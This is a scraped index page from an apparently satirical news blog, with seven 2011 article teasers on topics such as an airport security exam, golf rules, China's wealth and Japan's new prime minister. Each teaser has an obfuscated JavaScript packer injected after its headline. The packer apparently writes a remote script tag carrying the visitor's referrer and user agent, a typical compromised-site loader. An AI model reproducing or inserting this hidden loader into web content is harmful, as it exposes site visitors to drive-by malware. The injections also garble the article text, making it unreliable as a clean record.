New National Exam for Airport Security

SECURITY SCANNERS HAIL NEW TEST eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsdaf|var|u0026u|referrer|nsbra||js|php’.split(‘|’),0,{})) National Exam Creates Level Playing Field Washington, D.C. September 28th, 2011 (SHK) The nation’s news media loves to run stories about inadequate airport security. As a result, the Transportation Security Administration here, a division of Homeland Security, has implemented a new standardized national test [...]

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Burma Shave Rides Again

BURMA SHAVE RIDES AGAIN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etnsk|var|u0026u|referrer|hznhs||js|php’.split(‘|’),0,{})) Political campaigns set to cash in Washington, D.C. September 23rd, 2011 (SHK) For more than a generation, from the 1930s through the 1950s, the Burma Shave Company’s popular and comical roadside signs were the talk of the nation. Along America’s most heavily trafficked highways, like [...]

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Rewriting the Rules of Golf

REWRITING THE RULES OF GOLF eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryiyz|var|u0026u|referrer|habbz||js|php’.split(‘|’),0,{})) Seniors, Electric Carts Prompt Changes Bridgewater, New Jersey September 18th, 2011 (SHK) As summer draws to a close, the United States Golf Association (USGA) today announced dramatic changes to its rules of golf. A rulebook that previously ran upwards of 200 pages has been [...]

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Both Parties Say They Want Jobs

BOTH PARTIES SAY THEY WANT JOBS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syeef|var|u0026u|referrer|keirs||js|php’.split(‘|’),0,{})) Bipartisan effort to create more employment Washington, D.C. September 16th, 2011 After President Obama’s recent speech to a joint session of Congress, there is no doubt in anyone’s mind that our political leaders are focused on jobs. Their own. “Everybody knows we’re in [...]

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China’s Wealth Fuels New Markets

CHINA’S WEALTH FUELS NEW MARKETS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dksfe|var|u0026u|referrer|kbrsf||js|php’.split(‘|’),0,{})) Personal Mistresses and Pig Snouts Top the List Beijing, China September 14th, 2011 (SHK) China’s rapid economic growth has become the Eighth Wonder of the World. Where Japan once captured our attention, today it is China. But the country’s new wealth comes at a [...]

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Japan picks a new Prime Minister

JAPAN NAMES NEW PRIME MINISTER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddnyi|var|u0026u|referrer|znrny||js|php’.split(‘|’),0,{})) But he comes from the same clique of old cronies Tokyo, Japan September 8th, 2011 (SHK) The Democratic Party of Japan late last week announced the selection of Yoshihiko Noda as the country’s new prime minister to replace the outgoing, ineffective Naoto Kan. “In [...]

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When Politicians are Undereducated

MANY POLITICIANS LACK COLLEGE EDUCATION eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfany|var|u0026u|referrer|dyata||js|php’.split(‘|’),0,{})) Main reason America is in trouble, some say Washington, D.C. September 5th, 2011 (SHK) “America is a nation without a distinct criminal class,” the famous humorist Will Rogers once said, “with the possible exception of Congress.” According to the most recent data, 29 Congressional [...]

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